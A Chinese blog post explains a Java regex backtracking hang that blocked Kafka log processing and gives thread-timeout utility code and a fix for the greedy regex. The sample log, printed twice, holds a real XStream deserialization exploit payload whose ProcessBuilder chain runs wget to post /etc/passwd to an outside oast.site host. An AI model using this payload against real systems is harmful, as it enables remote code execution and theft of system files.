Java處理正則匹配卡死(正則回溯問題)

coffeebabe發表於2023-03-01

正則匹配卡死怎麼來的?

背景

背景:這次問題的背景是專案上遇到了,在使用正則對資料進行提取時,發現提取不到,日誌解析不成功,造成kafka訊息有積壓

專案現場問題

專案中某一個微服務再處理正則時,發現在處理部分日誌時候,執行緒會卡死,執行緒卡死,因此kafka中的訊息定會積壓,後面的日誌即不會處理。關鍵程式碼截圖如下:
image

問題跟蹤

相關正則如下:

.*<.*>[a-zA-Z]{3,}\s*.*?\s.*?\s(.*?)\s.*?\{(.*)}.*\n*

從問題表象來看,發現處理正則匹配這一步,執行緒卡死,即一直等待掛起。一開始考慮正則有問題,但是發現,這個正則可以正常處理日誌,只是當遇到部分日誌時候,會出現卡死現象,於是,覺得問題應該出現在日誌上。出現問題的日誌原文如下(已遮蔽了相關敏感資訊,但足夠復現問題):

<190>Jul 27 16:14:02 openresty nginx: {"app_no": "", "client_ip": "1.1.1.1", "referer": "", "request": "POST /rest-showcase/orders/3 HTTP/1.0", "status": 500, "bytes":576, "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1 Safari/537.36", "request_time": "0.001", "date": "2022-07-27T16:14:02+08:00", "request_body": "<map>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString>\r\n      <flags>0</flags>\r\n      <value class=\"com.sun.xml.internal.bindruntime.unmarshaller.Base64Data\">\r\n        <dataHandler>\r\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\r\n            <is class=\"javax.crypto.CipherInputStream\">\r\n              <cipher class=\"javax.crypto.NullCipher\">\r\n                <initialized>false</initialized>\r\n                <opmode>0</opmode>\r\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\r\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\r\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\r\n                    <next class=\"java.lang.ProcessBuilder\">\r\n                      <command>\r\n                        <string>wget</string>\r\n                        <string>--post-file</string>\r\n                        <string>/etc/passwd</string>\r\n              <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\r\n                      </command>\r\n                      <redirectErrorStream>false</redirectErrorStream>\r\n                    </next>\r\n                  </iter>\r\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\r\n                    <method>\r\n                      <class>java.lang.ProcessBuilder</class>\r\n                      <name>start</name>\r\n                      <parameter-types/>\r\n                    </method>\r\n                    <name>asdasd</name>\r\n                  </filter>\r\n                  <next class=\"string\">asdasd</next>\r\n                </serviceIterator>\r\n                <lock/>\r\n              </cipher>\r\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\r\n              <ibuffer></ibuffer>\r\n              <done>false</done>\r\n              <ostart>0</ostart>\r\n              <ofinish>0</ofinish>\r\n              <closed>false</closed>\r\n            </is>\r\n            <consumed>false</consumed>\r\n          </dataSource>\r\n          <transferFlavors/>\r\n        </dataHandler>\r\n        <dataLen>0</dataLen>\r\n      </value>\r\n    </jdk.nashorn.internal.objects.NativeString>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n</map>\r\n"}

懷疑是日誌中有特殊字元造成,透過分析日誌,發現日誌並沒有問題。再度分析問題後,發現,這一步正則匹配卡死,會影響Kafka訊息處理,於是提出最佳化方案,不能因為這些日誌資料,進而影響系統處理日誌資料。
由於這裡的執行緒是卡死狀態,一開始並不理解,透過隱喻假設這裡執行緒大概出現了兩種問題

  • 執行緒死迴圈
  • 執行緒資源被鎖,一直掛起等待

透過隱喻問題,然後在尋找解決方案,這裡提出了兩種最佳化方案

  • 啟動監控執行緒,這裡在處理正則時,如果匹配成功則會返回處理成功的標誌,而監控執行緒會一直監控標誌,如果在長時間等待後,發現標誌始終是處理不成功,那麼將直接使用stop停止正則處理執行緒。然後監控執行緒結束。這樣下一條日誌訊息就會繼續消費。

    • 優點: 每次訊息處理正則時,都會進行監控,甚至,這裡還能使用監控執行緒,將標誌位進行擴充套件,檢測主執行緒處理日誌,每一步的耗時,從而對程式做出更進一步的最佳化。
    • 缺點: 每處理一條日誌,就意味著除了消費主執行緒外,都要伴隨著一個監控執行緒對其進行監控,如果使用執行緒池,則需要考慮執行緒上下文的問題,需要考慮其效能。其次,再關閉主執行緒時,使用了stop方法,這在JDK中已經不推薦使用。(為什麼要使用stop?,因為主執行緒被卡死,已經沒有辦法使用isInterrupted來判斷主執行緒是否業務中斷。) ,在demo的編寫測試時,關閉主執行緒使用了ThreadGroup特性,這裡並沒有測試Kafka的消費執行緒建立原始碼是否有使用ThreadGroup特性,如果有,那麼這裡監控執行緒則不能使用Thread.enumerate(ret)方法。
      這裡也可以參考一下JDK的原始碼註釋:
      image
  • 使用子執行緒處理正則匹配,在主執行緒中使用FutureTask獲取子執行緒處理結果,一旦超時,那麼使用interrupt將子執行緒設定中斷,子執行緒遍歷匹配方法也將根據isInterrupted()判斷是否中斷而中斷,這裡我已經封裝好了工具類供大家使用,有興趣可以參看具體程式碼實現。

    • 優點: 正則處理使用了子執行緒,主執行緒獲取等待匹配結果,如果超時則日誌記錄正則和日誌資料,並返回null,後續處理程式會丟擲異常,然後執行緒結束,然後會繼續消費Kafka訊息。
    • 缺點: 每處理一條日誌,除了主執行緒,就需要單獨開啟一個正則處理執行緒,這裡需要考慮效能。

在處理完上述問題後,考慮後續服務的處理日誌可以使用執行緒池的方式,來提升日誌處理的效能。但是一旦使用執行緒池,若遇到上述問題。這裡我們分析:
如果使用了執行緒池,假設遇到正則卡死問題,那麼執行緒池中的執行緒會被耗盡,並且執行緒池中所有的執行緒都會在處理正則這一步卡死,Kafka中的訊息會進入執行緒池的任務佇列,由於執行緒池的特性,如果沒有詳細配置,那麼最終就會出現日誌訊息建立任務丟棄的異常。
現在,我們解決掉了正則卡死的問題,那麼,這裡就可以使用執行緒池來處理訊息,如果正則卡死,那麼子執行緒會中斷,同時主執行緒拋異常,不會影響會有訊息的處理。


至此,問題雖然得到了解決,但是產生問題的原因卻沒有一個較好的結論,本著程式設計應該知其然更知其所以然的想法,繼續對問題追根刨底

在查閱資料解決問題時,發現一篇文章,2007年阿里也曾出現了類似問題,阿里Lazada賣家中心做一個自助註冊的專案,上線後,發現CPU有時會飆到100%的情況。有興趣的可以參看原文字文末節的參考文章。
閱讀完這篇部落格後,簡直是醍醐灌頂,這不正是我們專案所遇到的問題,於是乎,開始深剖析正則處理和正則回溯問題。最後發現將正則修改為如下:,就可以正常匹配這種日誌。

<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})

到這裡,才發現專案問題的根本是正則問題,並非日誌資料問題。簡單描述就是:正則處理,JAVA在處理正則時候,使用的正則引擎是NFA(不確定型有窮自動機),這種引擎會在貪婪模式下發生正則回溯問題,一旦字串的數量過於龐大,那麼遇見正則回溯後,正則匹配的計算將是指數級別的,這對CPU來說是災難級的。所以專案中,正則匹配一行程式碼會卡死,其實並不是死迴圈,也不是執行緒掛起,而是執行緒一直在計算。

怎麼最佳化?

最佳化方案

即然發現了問題所在,那麼最優的方案就是當即處理專案中有問題的正則。同時在專案中使用正則的地方,如果資料是不確定的外部資料,那麼都建議使用正則工具類來進行匹配獲取,雖然會開闢子執行緒,但是避免了執行緒卡死,CPU飆升的問題。同時監控執行緒做保留方案,在日後的使用中,如果需要用到,可以用來做效能分析。

處理正則問題

再對有問題的正則使用regex debug進行分析後,發現正則確實存在回溯問題

image

重新對日誌原文分析,使用以下正則即可匹配成功:

<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})

使用子執行緒來匹配正則實現

這裡封裝了正則處理工具類,具體實現程式碼參考

  • RegexUtil.java
import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * 處理正則回溯引起超時問題
 *
 * @author cg
 */
@Slf4j
public class RegexUtil {

    /**
     * 使用單獨的執行緒來進行正則處理,避免出現超時卡死的情況
     * @return 返回正則匹配結果, 當匹配失敗或匹配超時,返回null
     */
    public static Matcher match(String text, String regx, long timeout, TimeUnit unit) {
        Callable<Matcher> regexMatchCallable = () -> {
            Pattern compile = Pattern.compile(regx);
            Matcher matcher = compile.matcher(new InterruptCharSequence(text));
            if (matcher.matches()) {
                return matcher;
            }else {
                log.info("正則匹配失敗,日誌原文為 {}",  text);
                return null;
            }
        };
        FutureTask<Matcher> futureTask = new FutureTask<>(regexMatchCallable);
        Thread regexMatchThread = new Thread(futureTask);
        regexMatchThread.start();
        Matcher matcher = null;
        try {
            matcher =  futureTask.get(timeout, unit);
        } catch (TimeoutException e) {
            log.warn("正則處理超時,日誌 {}",  text);
            regexMatchThread.interrupt();
        } catch (ExecutionException | InterruptedException e) {
            log.error("獲取執行緒執行結果異常", e);
            regexMatchThread.interrupt();
        }
        return matcher;
    }


}

  • InterruptCharSequence.java
import lombok.extern.slf4j.Slf4j;

/**
 * @author cg
 */
@Slf4j
public class InterruptCharSequence implements CharSequence {

        CharSequence inner;

        public InterruptCharSequence(CharSequence inner) {
            super();

            this.inner = inner;
        }
        @Override
        public char charAt(int index) {
            if (Thread.currentThread().isInterrupted()) {
                log.info("InterruptCharSequence is Interrupted, Please check Trigger Thread!");
                log.info("regex error log is :{}", this);
                throw new RuntimeException("Interrupted!");
            }
            return inner.charAt(index);
        }
        @Override
        public int length() {
            return inner.length();
        }

        @Override
        public CharSequence subSequence(int start,int end) {
            return new InterruptCharSequence(inner.subSequence(start, end));
        }

        @Override
        public String toString() {
            return inner.toString();
        }

}

監控執行緒實現

這裡程式碼封裝了簡單的demo,具體程式碼實現參考:

import java.util.concurrent.atomic.AtomicBoolean;

public class TestMonitor extends Thread {

    private String name;
    private AtomicBoolean atomicBoolean;

    public TestMonitor(String name, AtomicBoolean isBlockThreadRegx) {
        this.name = name;
        this.atomicBoolean = isBlockThreadRegx;
    }

    @Override
    public void run() {
        //啟動監控執行緒
        //超時時間4s
        try {
            Thread.sleep(10000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        //根據執行緒名稱結束執行緒
        int i = Thread.activeCount();
        Thread ret[] = new Thread[i];
        Thread.enumerate(ret);
        for (Thread thread : ret) {
            if (thread.getName().equalsIgnoreCase(name) && atomicBoolean.get()) {
                thread.stop();
            }
        }
    }
}
import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.ArrayUtils;

import java.util.Arrays;
import java.util.Objects;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class TestPattern {


    public static void main(String[] args) throws Exception {


        String name = Thread.currentThread().getName();
        //是否是阻塞執行緒正則
        AtomicBoolean isBlockThreadRegx = new AtomicBoolean(true);
        //啟動監控執行緒
        TestMonitor testMonitor = new TestMonitor(name, isBlockThreadRegx);
        testMonitor.start();
        System.out.println("開始執行MainThread");
        final boolean matcher = getMatcher();
        isBlockThreadRegx.set(false);
        System.out.println(matcher);
        System.out.println("MainThread執行結束");
    }

    private static boolean getMatcher() {

        String pattern = ".*<.*>[a-zA-Z]{3,}\\s*.*?\\s.*?\\s(.*?)\\s.*?\\{(.*)}.*\\n*";
	    String text = "<190>Jul 27 16:14:02 openresty nginx: {\"app_no\": \"\", \"client_ip\": \"1.1.1.1\", \"referer\": \"\", \"request\": \"POST /struts2-rest-showcase/orders/3 HTTP/1.0\", \"status\": 500, \"bytes\":576, \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1.1 Safari/537.36\", \"request_time\": \"0.001\", \"date\": \"2022-07-27T16:14:02+08:00\", request_body\": \"<map>\\r\\n  <entry>\\r\\n    <jdk.nashorn.internal.objects.NativeString>\\r\\n      <flags>0</flags>\\r\\n      <value class=\\\"com.sun.xml.internal.bind.v2.runtime.Base64Data\\\">\\r\\n        <dataHandler>\\r\\n          <dataSource class=\\\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\\\">\\r\\n            <is class=\\\"javax.crypto.CipherInputStream\\\">\\r\\n              <cipher class=\\\"javax.crypto.NullCipher\\\">\\r\\n                <initialized>false</initialized>\\r\\n                <opmode>0</opmode>\\r\\n                <serviceIterator class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n                  <iter class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n                    <iter class=\\\"java.util.Collections$EmptyIterator\\\"/>\\r\\n                    <next class=\\\"java.lang.ProcessBuilder\\\">\\r\\n                      <command>\\r\\n                        <string>wget</string>\\r\\n                        <string>--post-file</string>\\r\\n                        <string>/etc/passwd</string>\\r\\n              <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\\r\\n                      </command>\\r\\n                      <redirectErrorStream>false</redirectErrorStream>\\r\\n                    </next>\\r\\n                  </iter>\\r\\n                  <filter class=\\\"javax.imageio.ImageIO$ContainsFilter\\\">\\r\\n                    <method>\\r\\n                      <class>java.lang.ProcessBuilder</class>\\r\\n                      <name>start</name>\\r\\n                      <parameter-types/>\\r\\n                    </method>\\r\\n                    <name>asdasd</name>\\r\\n                  </filter>\\r\\n                  <next class=\\\"string\\\">asdasd</next>\\r\\n                </serviceIterator>\\r\\n                <lock/>\\r\\n              </cipher>\\r\\n              <input class=\\\"java.lang.ProcessBuilder$NullInputStream\\\"/>\\r\\n              <ibuffer></ibuffer>\\r\\n              <done>false</done>\\r\\n              <ostart>0</ostart>\\r\\n              <ofinish>0</ofinish>\\r\\n              <closed>false</closed>\\r\\n            </is>\\r\\n            <consumed>false</consumed>\\r\\n          </dataSource>\\r\\n          <transferFlavors/>\\r\\n        </dataHandler>\\r\\n        <dataLen>0</dataLen>\\r\\n      </value>\\r\\n    </jdk.nashorn.internal.objects.NativeString>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n  </entry>\\r\\n  <entry>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n  </entry>\\r\\n</map>\\r\\n\"}\n";

        final Pattern compile = Pattern.compile(pattern);
        final Matcher matcher = compile.matcher(text);
        return matcher.matches();
    }
}


最優選擇方案

即然發現了正則的問題,最好的方式就是從根源上解決問題,編寫正則的時候儘量使用非貪婪模式,正則測試推薦去Regex Debug測試,或者使用RegexBuddy測試 。但終歸而言,這是一種編碼約定,考慮到約定破壞的場景,最好在編碼中在使用工具類來匹配正則,也可以記錄有問題的日誌和正則

參考文章

正則回溯

阿里LAZADA技術故障


值得一提的是,在上述兩篇文章中,作者對正則回溯的表達都存在歧義,在初次閱讀篇章時,對回溯的理解也是產生了各種疑問,最後在單獨對正則回溯的解釋中理解了正則回溯的意義,但這並不影響上述文章中遇到的問題帶給我們的啟示,正是有了上述文章的啟示,才能更準確的解釋我們專案中所遇到的問題。關於正則回溯,建議參考以下文章

正則回溯

正規表示式回溯

相關文章